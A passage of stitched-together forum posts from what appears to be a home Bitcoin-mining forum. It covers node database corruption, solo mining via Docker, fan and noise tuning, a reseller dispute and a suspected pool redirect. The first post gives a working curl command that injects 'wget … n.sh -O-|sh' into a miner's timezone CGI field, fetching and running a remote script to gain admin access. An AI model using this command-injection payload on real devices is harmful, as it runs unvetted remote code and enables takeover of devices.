change the webpass is after auth= from
to
for nano3s
use


after that should work.

about the last part of your post:

what this code

do is download a file called n.sh and execute it. here is the decoded url



inside that n.sh file are all the commands well explained for to get the admin access. (in short, that n.sh file do all the steps you are asking more explanation.)

if you just want to review the n.sh file before just download with

another alternative is create a python local server and load that file from your computer.

cheers.

Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

Is there any way to fix this error without reformating the node and restarting from scratch (I am at 94% now):

2025-01-30T10:27:36Z LevelDB read failure: Corruption: block checksum mismatch: /media/nvme/Bitcoin/chainstate/938066.ldb
2025-01-30T10:27:36Z Fatal LevelDB error: Corruption: block checksum mismatch: /media/nvme/Bitcoin/chainstate/938066.ldb
2025-01-30T10:27:36Z You can use -debug=leveldb to get more complete diagnostic messages
2025-01-30T10:27:36Z Error: Error reading from database, shutting down.
2025-01-30T10:27:36Z Error reading from database: Fatal LevelDB error: Corruption: block checksum mismatch: /media/nvme/Bitcoin/chainstate/938066.ldb

Someone really wants a block...

I'm looking at joining your pool but can't see any block found since 2021.
Am I missing something?

For solo mining directly on your Apollo node, you can install Docker, then build and run a docker image of the solo ckpool using this repository: https://github.com/golden-guy/docker-ckpool

Since I don't have a full node Apollo, I cannot test and verify this myself there unfortunately. But I tested this successfully in similar setups on other SBCs (RPi/Odroid) running Debian/Ubuntu - and the Apollo's OrangePi SBC running Armbian should support the Docker installation as well, as documented here: https://docs.armbian.com/User-Guide_Advanced-Features/#how-to-run-docker

Would be great if somebody tried and can give feedback if that has worked out. At least that would be a viable workaround for now for those who feel the itch to solo mine on their Apollo node.

So you did not buy directly from Gekko, therefore I request you amend your statement that Gekko took your money and ran, providing no service.

It's a bit troubling that Eyeboot, who did take your money and owes you service, didn't follow up properly. Try contacting him again, and tell him I sent you.

Did you buy directly from GekkoScience, or from a reseller? If so, which one?

When will direct node mining be offered? The full node package would be much more meaningful with mining the own node solo.

I cant seem to download the OS image from the OP, it starts to load the page but never finishes. id there another location for the file?
nermind, finally got the page to load

I used a side-mounted 120mm fan with 2 Compac F's, but if you have more chips, top mount sounds like a better idea.
You could even use a fan header splitter to use 2 or more fans, of course.

Honestly, ever since the R909 launched there's no better value for home mining than that. $150 is a ton of money for 45Gh/s; for 4x the price, sidehacks' latest product gets you 55x the performance. So it's basically 10 times better.

Note that if you just crank up the power with no other fans, it will get loud, but you can customize it so that it runs efficiently and quiet.

I have my Apollo running virtually silent. You can only hear it in the middle of the night when you're very close to it.

The first thing I had to update was the original PSU. That's not too noisy, but I replaced it with a noiseless PSU. Big difference.

The second thing to do is to keep the internal fan running as low as possible. The goal should be to keep it at around 1000-1500 rpm or less for almost no sound. Don't go past 2000rpm because it gets too loud.

To do that I just put a big 120mm Noctua fan on top of the Apollo, running silently through PWM control, helping the internal fan keeping things cool.

I then lowered the power consumption to somewhere in the middle(-brd_ocp 58).

I'm getting about 2.4TH/s at 146W, with virtually no noise.

https://i.imgur.com/f2eH4W3.png

Hello,
i am using the braiins pool stratum+tcp://eu.stratum.braiins.com:3333 with my futurebit btc miner.
after some times, all my hashrate is forwarded to this pool : stratum+tcp://btc.viabtc.com:3333 username : portforwarded.futurebit
My miner is not corrupted and i see any changes in my configuration files. it's probably a men in the middle redirecting my url.
Any help please.